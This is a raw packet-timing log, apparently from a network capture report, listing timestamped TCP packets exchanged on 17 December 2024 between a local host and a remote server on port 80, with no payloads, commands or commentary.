                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.051454067 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.051518917 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.051554918 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.051594019 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.052506924 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.052557945 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.052587986 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.052637100 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.052675962 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.053044081 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.053081036 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.053113937 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.053270102 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.053803921 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.053839922 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.053873062 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.053895950 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.053986073 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.054655075 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.054728031 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.054761887 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.054786921 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.055440903 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.055476904 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.055494070 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.055526972 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.055686951 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.056253910 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.056288958 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.056324005 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.056375980 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.057058096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.057095051 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.057130098 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.057152033 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.057197094 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.057862043 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.057943106 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.057998896 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.058178902 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.058651924 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.058700085 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.058705091 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.058741093 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.058779001 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.059465885 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.059501886 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.059535027 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.059559107 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.060286999 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.060323000 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.060337067 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.060358047 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.060498953 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.061041117 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.119328976 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225106001 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225148916 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225164890 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225222111 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225404978 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225452900 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225584984 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225620031 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225652933 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.225661993 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.226377010 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.226450920 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.226468086 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.226502895 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.226579905 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.227230072 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.227263927 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.227298975 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.227386951 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.228015900 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.228127956 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.228130102 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.228177071 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.228328943 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.228846073 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.228879929 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.228913069 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.228965044 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.229614973 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.229648113 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.229669094 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.229701996 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.229851961 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.230520010 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.230552912 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.230586052 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.230611086 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.231281996 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.231329918 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.231334925 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.231369019 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.231554031 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.232068062 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.232114077 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.232146978 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.232198954 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.232871056 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.232922077 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.232924938 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.232960939 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.233006001 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.233696938 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.233730078 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.233764887 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.233814955 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.234441996 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.234493017 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.234502077 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.234527111 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.234791040 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.235368967 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.235403061 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.235435963 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.235492945 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.236140013 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.236172915 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.236187935 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.236208916 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.236253977 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.236969948 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.237030029 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.237065077 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.237102985 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.237696886 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.237746000 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.237750053 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.237786055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.237843037 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.238554001 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.238588095 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.238621950 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.238667965 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.239394903 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.239434958 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.239453077 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.239468098 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.239510059 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.240541935 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.240576029 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.240609884 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.240617990 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.241159916 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.241193056 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.241208076 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.241226912 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.241266012 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.241974115 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.242007017 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.242039919 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.242232084 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.242578983 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.242625952 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.242630959 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.242677927 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.242727995 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.243382931 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.243701935 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.243735075 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.243750095 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.243769884 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.243999958 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.244771004 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.244803905 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.244837999 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.244894981 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.245295048 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.245332956 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.245346069 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.245368958 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.245412111 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.246112108 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.246146917 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.246180058 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.246223927 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.246872902 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.246906996 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.246920109 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.246942043 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.246984005 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.247709990 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.247744083 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.247778893 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.247791052 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.248548031 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.248559952 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.248594046 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.248595953 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.248827934 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.249280930 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.249329090 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.249363899 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.249389887 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.250257969 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.250292063 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.250313044 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.250329018 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.250366926 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.250957966 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.250993967 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.251028061 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.251126051 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.251821995 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.251856089 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.251889944 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.251943111 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.252592087 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.252624989 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.252659082 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.252661943 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.306838989 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.417350054 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.417385101 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.417397022 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.417431116 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.417722940 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.417736053 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.417778015 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.417898893 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.417990923 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.418514013 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.418525934 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.418538094 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.418566942 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.419308901 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.419326067 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.419338942 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.419370890 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.419513941 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.420368910 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.420573950 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.420586109 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.420625925 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.420973063 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.420984030 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.420990944 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.421032906 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.421061993 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.421740055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.421813965 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.421828985 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.421861887 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.422600031 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.422611952 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.422622919 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.422661066 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.422708035 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.423367977 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.423388958 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.423398972 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.423432112 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.424202919 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.424213886 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.424221039 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.424355984 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.425017118 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.425029039 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.425040007 CET8049748192.142.10.246192.168.2.4
